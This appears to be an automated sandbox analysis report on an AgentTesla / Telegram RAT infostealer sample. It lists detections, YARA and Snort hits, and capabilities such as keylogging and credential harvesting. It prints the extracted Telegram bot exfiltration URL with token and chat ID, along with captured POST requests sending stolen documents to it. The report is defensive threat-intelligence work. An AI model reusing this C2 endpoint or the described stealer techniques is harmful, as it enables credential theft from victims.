Edit tour

Windows Analysis Report
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Overview

General Information

Sample name:	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
Analysis ID:	1443568
MD5:	1022eee3d28a81920664b590983aafaa
SHA1:	002c1889f8e8ebbf781e3a1edb0985068b2a5b96
SHA256:	ccd022fa7f9a0ee0928a7736faed2f9d9123234d209c7fdf9b436776669c4644
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected Telegram RAT

Contains functionality to log keystrokes (.Net Source)

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe (PID: 6768 cmdline: "C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe" MD5: 1022EEE3D28A81920664B590983AAFAA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendMessage?chat_id=1165128482"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x355a2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35614:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3569e:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35730:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3579a:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3580c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x358a2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35932:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000000.1661358396.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe PID: 6768	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x355a2:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35614:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3569e:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35730:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3579a:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3580c:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x358a2:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35932:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	05/18/24-01:35:57.911306
SID:	2851779
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Avira: detected

Found malware configuration

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendMessage?chat_id=1165128482"}
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.6768.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendMessage"}

Machine Learning detection for sample

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Joe Sandbox ML: detected

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49756 version: TLS 1.2

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.4:49730 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc76a891c5b1d3Host: api.telegram.orgContent-Length: 915Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc76a893006882Host: api.telegram.orgContent-Length: 3951Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc8907cde902bbHost: api.telegram.orgContent-Length: 66993Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9221f98904f2Host: api.telegram.orgContent-Length: 66995Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc97bb00ca1497Host: api.telegram.orgContent-Length: 66995Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9b180ffd53ffHost: api.telegram.orgContent-Length: 66995Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9f5b252489fbHost: api.telegram.orgContent-Length: 66995Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dca59a756be172Host: api.telegram.orgContent-Length: 66995Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcaa4c722ca350Host: api.telegram.orgContent-Length: 66995Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcad575d0aaf1fHost: api.telegram.orgContent-Length: 66995Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcb1fe0d5217c4Host: api.telegram.orgContent-Length: 66995Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcb801a5c9ddf4Host: api.telegram.orgContent-Length: 67000Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcbf5819b9d90cHost: api.telegram.orgContent-Length: 67000Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcc29e30c1ac2fHost: api.telegram.orgContent-Length: 71967Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcc6683c0d1efdHost: api.telegram.orgContent-Length: 67000Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcc834c9eb4802Host: api.telegram.orgContent-Length: 67000Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dccd9f9e07d58aHost: api.telegram.orgContent-Length: 67000Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc76a92388cec9Host: api.telegram.orgContent-Length: 67000Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc76a891c5b1d3Host: api.telegram.orgContent-Length: 915Expect: 100-continueConnection: Keep-Alive

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003574000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003633000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	String found in binary or memory: https://account.dyn.com/
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003574000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003633000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003418000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003439000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	String found in binary or memory: https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/
Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003574000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003633000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003418000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003693000.00000004.00000800.00020000.00000000.sdmp, 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, 00000000.00000002.4108158269.0000000003439000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49756 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, cPKWk.cs

.Net Code: h5ESqJ

Installs a global keyboard hook

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.0.1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe.fe0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_032141A0	0_2_032141A0
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_0321A1DB	0_2_0321A1DB
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_0321D480	0_2_0321D480
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_03214A70	0_2_03214A70
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_03213E58	0_2_03213E58
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_06733678	0_2_06733678
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_06735E38	0_2_06735E38
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_067346B0	0_2_067346B0
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_06739700	0_2_06739700
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Code function: 0_2_0673C450	0_2_0673C450
